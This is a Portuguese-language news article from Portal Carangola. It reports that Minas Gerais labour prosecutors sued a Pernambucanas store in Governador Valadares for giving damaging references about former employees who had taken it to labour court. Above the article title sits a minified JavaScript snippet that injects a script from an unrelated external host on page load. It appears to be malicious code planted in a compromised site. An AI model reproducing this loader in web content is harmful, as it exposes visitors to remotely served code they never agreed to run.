;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); MPT-MG: MPT aciona Pernambucanas por fornecer informações desabonadoras sobre ex-empregados - Portal Carangola

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MPT-MG: MPT aciona Pernambucanas por fornecer informações desabonadoras sobre ex-empregados

mpGovernador Valadares: Nesta segunda-feira, 27, a Procuradoria do Trabalho em Governador Valadares acionou a Justiça para coibir prática discriminatória na loja da rede Pernambucanas – Arthur Lundgren Tecidos S/A, situada em Governador Valadares. O MPT requer antecipação dos efeitos da tutela para obrigar a loja a parar imediatamente de fornecer informações desabonadoras sobre ex-empregados, sobretudo os que possuem ação na Justiça do Trabalho.
“Não há dúvida de que prestar informações sobre ex-empregados, com o cunho a desabonar a sua conduta profissional, como no caso, revela o teor discriminatório àqueles que procuram os seus direitos junto ao Poder Judiciário, na Justiça do Trabalho”, salienta o procurador que investigou o caso, Jefferson Maciel Rodrigues.
Os depoimentos que fundamentam a inicial da ação apontam como corriqueira a prática de fornecer informações discriminatórias e denunciam a clara intenção de desabonar a imagem pessoal e profissional de ex-empregados, para impedir ou dificultar o acesso a um novo emprego.
No caso, em particular, apesar de a empresa obrigar-se, por norma coletiva, com o sindicato dos comerciários, a emitir carta de referência a ex-empregados, cumpridos requisitos objetivos, a gerência da Pernambucanas, segundo se apurou, ainda fornecia, corriqueiramente, informações quanto a ex-empregados, com o fim de obstar-lhes o acesso a novo posto de trabalho. Explica o procurador do Trabalho que “o mundo da boa-fé objetiva não tolera comportamentos contraditórios. Há de se objetivar as relações sociais. Não se pode pactuar critério objetivo, teórico, e, na prática, receber sorrateiramente futuros empregadores, ou procurar-lhes, alimentando uma verdadeira ‘lista suja’, com referências subministradas por critérios egoísticos, subjetivos, pessoais, maculando a imagem profissional daqueles que nada mais fizeram senão exercera a sua liberdade existencial”.
Para suspender imediatamente a prática ilícita, o MPT pediu em caráter liminar que todos os gerentes e prepostos, com cargo de direção, representação e coordenação, no estabelecimento situado na cidade de Governador Valadares, se abstenham de prestar informações, de qualquer tipo, sobre ex-trabalhadores. Em caso de descumprimento, a empresa deverá pagar multa no valor de R$30 mil e mais R$10 mil por trabalhador prejudicado.
Entre os pedidos definitivos estão o custeio de campanha educativa voltada para os públicos interno e externo, com conteúdo que explicite que a rede de lojas não estimula, permite ou tolera atitudes discriminatórias de qualquer natureza contra empregados ou ex-empregados, bem como o pagamento de indenização por dano moral coletivo no valor de R$ 1 milhão.
Assessoria de Comunicação
Ministério Público do Trabalho – MG
(31) 3304-6391/ 6182 – prt3.ascom@mpt.gov.br

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